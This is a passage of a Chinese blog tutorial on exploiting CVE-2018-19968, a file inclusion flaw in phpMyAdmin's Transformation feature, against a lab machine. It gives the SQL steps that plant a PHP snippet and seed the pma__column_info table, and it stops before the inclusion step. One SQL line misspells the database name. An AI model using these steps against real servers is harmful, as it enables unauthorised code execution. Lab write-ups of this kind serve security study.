phpMyAdmin Transformation 任意文件包含漏洞 (需登录PMASA-2018-6/CVE-2018-19968)

最新推荐文章于 2023-12-10 19:55:45 发布

蜡笔小新说安全

最新推荐文章于 2023-12-10 19:55:45 发布

阅读量311

点赞数 3

本文链接：https://blog.csdn.net/qq_40448537/article/details/106918202

版权

2018年12月07日 phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞，影响4.8.0~4.8.3版本，CVE编号CVE-2018-19968。

这是一个需要登陆利用的漏洞，首先需要实现登陆，在已只用户名和密码的情况下我们先登陆查看查看网页情况，先实现手工注入再编写exp脚本，我们实验的是一个已经搭建好的靶机地址为：

在这里插入图片描述

登陆后查看

在这里插入图片描述

可以看见后台已经有很多创建的数据库了，咱们也来创建数据库点击SQL输入代码

CREATE DATABASE shanhe;
CREATE TABLE shanhe.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO shenhe.bar SELECT '<?php phpinfo(); ?>';

这里建议是使用个性化的数据库名，并且即用即删，相同的库名会导致一些错误，执行SQL语句后我们来看：

在这里插入图片描述

已经存在我们创建的数据库了，访问如下连接数据库shanhe中生成phpMyAdmin的配置表，得到如下结果即为成功

http://94.191.112.225/phpmyadmin/chk_rel.php?fixall_pmadb=1&db=shanhe

在这里插入图片描述

点击SQL输入如下sql语句，注意要把数据库名改为自己创建的数据库名

INSERT INTO `pma__column_info`SELECT '1', 'shanhe', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop'

关注